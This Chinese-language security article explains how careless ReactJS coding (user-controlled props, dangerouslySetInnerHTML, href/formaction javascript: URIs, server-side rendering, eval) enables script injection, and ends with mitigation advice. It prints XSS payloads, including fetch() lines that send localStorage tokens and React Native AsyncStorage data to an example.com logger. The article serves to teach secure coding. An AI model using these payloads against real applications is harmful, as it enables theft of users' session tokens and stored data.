利用腳本注入漏洞攻擊ReactJS應用程序
ReactJS是一款能夠幫助開發者構建用戶接口的熱門JavaScript庫。在它的幫助下,開發者可以構建出內容豐富的客戶端或Web應用,并且提前加載內容以提供更好的用戶體驗。
從設計角度來看,只要你能夠按照開發標準來使用ReactJS的話,它其實是非常安全的。但是在網絡安全領域中,沒有任何東西是絕對安全的,而錯誤的編程實踐方式將導致類似腳本注入漏洞之類的問題產生,這些錯誤的編程方式包括:
1.利用用戶提供的對象來創建React組件;
2.利用用戶提供的href屬性來配置標簽,或利用其他可注入的屬性來設置其他的HTML標簽(例如link標簽);
3.顯示地設置一個元素的dangerouslySetInnerHTML屬性(危險的HTML標簽屬性);
4.向eval()傳遞用戶提供的字符串數據;
接下來,讓我們一起看一看這些潛在的問題將如何影響ReactJS應用程序,并最終導致了腳本注入漏洞的出現。
組件、屬性和元素
在ReactJS應用程序中,組件是最基本的組成部分。從本質上來說,這些組件其實都類似于JavaScript函數,它們可以接受任意的輸入數據,然后返回React元素。一個基本的ReactJS組件如下所示:
- class Welcome extends React.Component {
- render() {
- return <h1>Hello, {this.props.name}</h1>;
- }
- }
請注意上面代碼中的return語句,這是一種JavaScript中的語句擴展(JSX)。在項目構建的過程中,JSX代碼將會被編譯成常規的JavaScript(ES5)代碼。下面給出的兩種樣本代碼其功能是完全相同的:
- // JSX
- const element = (
- <h1 className=”greeting”>
- Hello, world!
- </h1>
- );
- // Transpiled to createElement() call
- const element = React.createElement(
- ‘h1’,
- {className: ‘greeting’},
- ‘Hello, world!’
- );
- 在創建新的React元素時,使用的是component類中的createElement()函數:
- React.createElement(
- type,
- [props],
- [...children]
- )
這個函數可以接受三個參數:
1.type參數:該參數可以是一個標簽名(例如'div'或'span'),或一個component類。但是在React Native中只允許component類。
2.props參數:該參數包含一個傳遞給新元素的屬性列表。
3.children參數:該參數包含新元素的子節點。
如果你能夠控制其中任何一個參數的話,那么這個參數就會變成攻擊向量。
注入子節點
早2015年3月份,Daniel LeCheminant報告了一個存在于HackerOne的存儲型跨站腳本漏洞(XSS)。這個漏洞的成因如下:HackerOne的Web應用會將用戶所提供的任意對象當作children參數傳遞給React.createElement()函數。根據我們的推測,存在漏洞的代碼可能跟下方給出的代碼比較相似:
- * Retrieve a user-supplied, stored value from the server and parsed it as JSON for whatever reason.
- attacker_supplied_value = JSON.parse(some_user_input)
- */
- render() {
- return <span>{attacker_supplied_value}</span>;
- }
這段JSX代碼將會被轉譯成如下所示的JavaScript代碼:
- React.createElement("span", null, attacker_supplied_value};
如果其中的attacker_supplied_value是一個字符串的話(正常情況),代碼將會生成一個正常的span元素。但是在當前版本的ReactJS中,createElement()函數還會接受以children參數形式傳遞的普通對象。Daniel通過一個JSON編碼的對象利用了這個漏洞,他在這個對象中包含了dangerouslySetInnerHTML屬性,這將允許他向React呈現的輸出效果中注入原始的HTML代碼。最終的PoC代碼:
- {
- _isReactElement: true,
- _store: {},
- type: “body”,
- props: {
- dangerouslySetInnerHTML: {
- __html:
- "<h1>Arbitrary HTML</h1>
- <script>alert(‘No CSP Support :(‘)</script>
- <a href=’http://danlec.com'>link</a>"
- }
- }
- }
相關的漏洞緩解方案可以在React.js的GitHub主頁上找到,感興趣的同學可以參考。在2015年11月份,Sebastian Markbåge提交了一個修復方案:為React元素引入了$$typeof: Symbol.for('react.element')屬性。由于無法從一個注入對象引用全局JavaScript符號,所以Daniel設計的漏洞利用技術(注入child元素)就無法再使用了。
控制元素類型
雖然我們不能再將普通對象來當作ReactJS元素來使用了,但是組件注入并非不可能實現,因為createElement()函數還可以接受type參數中的字符串數據。我們假設開發者采用了如下所示的代碼:
- // Dynamically create an element from a string stored in the backend.
- element_name = stored_value;
- React.createElement(element_name, null);
如果stored_value是一個由攻擊者控制的字符串,那我們就可以創建任意的React組件了。但是此時創建的是一個普通的無屬性HTML元素,而這種東西對于攻擊者來說是沒有任何作用的。因此,我們必須要能夠控制新創建元素的屬性才可以。
注入屬性(props)
請大家先看看下面給出的這段代碼:
- // Parse attacker-supplied JSON for some reason and pass
- // the resulting object as props.
- // Don't do this at home unless you are a trained expert!
- attacker_props = JSON.parse(stored_value)
- React.createElement("span", attacker_props};
這樣一來,我們就可以向新元素中注入任意屬性了。我們可以使用下面給出的Payload來設置dangerouslySetInnerHTML屬性:
- {"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>"}}
跨站腳本漏洞
某些傳統的XSS攻擊向量同樣適用于ReactJS應用程序。請大家接著往下看:
(1) 顯示地設置dangerouslySetInnerHTML屬性
很多開發者可能會有目的地去設置dangerouslySetInnerHTML屬性:
- <div dangerouslySetInnerHTML={user_supplied} />
很明顯,如果你能夠控制這些屬性的參數值,那你就能夠注入任意的JavaScript代碼了。
(2) 可注入的屬性
如果你能夠控制一個動態生成的標簽的href屬性,那就沒有什么可以阻止你向其參數值中注入JavaScript代碼(通過javascript:)了。除了href屬性之外,在現代瀏覽器中HTML5按鈕的formaction屬性同樣也是可注入的。
- <a href={userinput}>Link</a>
- <button form="name" formaction={userinput}>
另一個非常奇怪的注入向量就是HTML imports:
- <link rel=”import” href={user_supplied}>
(3) 服務器端呈現的HTML
為了降低初始化頁面的呈現時間,很多開發人員會在服務器端預先加載React.JS頁面(也就是所謂的“服務器端呈現”)。在2016年11月份,Emilia Smith發現官方Redux代碼樣本中存在一個跨站腳本漏洞(XSS),因為客戶端狀態被嵌入到了預呈現頁面中并沒有被過濾掉。(樣本代碼中的漏洞現在已經修復)
如果HTML頁面在服務器端預呈現的話,你也許可以在普通的Web應用中找到類似的跨站腳本漏洞。
基于eval()的注入
如果應用程序使用了eval()來動態執行一個由你控制的注入字符串,那你就非常幸運了。在這種情況下,你就可以隨意選擇你需要注入的代碼了:
- function antiPattern() {
- eval(this.state.attacker_supplied);
- }
XSS Payload
在現代Web開發領域,很多機制的開發人員會選擇使用無狀態的會話令牌,并且將它們保存在客戶端的本地存儲中。因此,攻擊者必須根據這種情況來設計相應的Payload。
當你在利用跨站腳本漏洞來攻擊ReactJS Web應用程序時,你能夠隨意注入任意代碼,如果再配合使用下面列出的代碼,你就可以從目標設備的本地存儲中獲取訪問令牌并將其發送到你的記錄程序中:
- fetch(‘http://example.com/logger.php?
- token='+localStorage.access_token);
React Native
React Native是一款移動應用開發框架,它可以幫助開發人員使用ReactJS構建原生移動應用。更確切地說,它提供了一個能夠再移動設備上運行React JavaScript包的運行時環境。除此之外,我們還可以使用React Native for Web讓一個React Native應用在普通的Web瀏覽器中運行。
但是就我們目前的研究結果來看,上面列出的腳本注入向量都不適用于React Native:
1.React Native的createInternalComponent方法只接受包含標簽的component類,所以即便是你能夠完全控制傳遞給createElement()的參數,你野無法創建任意元素;
2.不存在HTML元素,HTML代碼也不會被解析,所以普通的基于瀏覽器的XSS向量(例如'href')就無法正常工作了。
只有基于eval()的變量才可以在移動設備上被攻擊者利用。如果你能夠通過eval()注入JavaScript代碼,你就可以訪問React Native API并做一些有趣的事情了。比如說,你可以從本地存儲(AsyncStorage)中竊取數據了,相關的操作代碼如下所示:
- _reactNative.AsyncStorage.getAllKeys(function(err,result)
- {_reactNative.AsyncStorage.multiGet(result,function(err,result)
- {fetch(‘http://example.com/logger.php?
- token='+JSON.stringify(result));});});
建議
雖然從設計的角度出發,ReactJS還是非常安全的,但是這個世界上沒有絕對安全的東西,不好的編程習慣將導致各種嚴重的安全漏洞出現:
我們建議各位開發者們不要再使用eval()函數或dangerouslySetInnerHTML屬性,并避免解析用戶提供的JSON數據。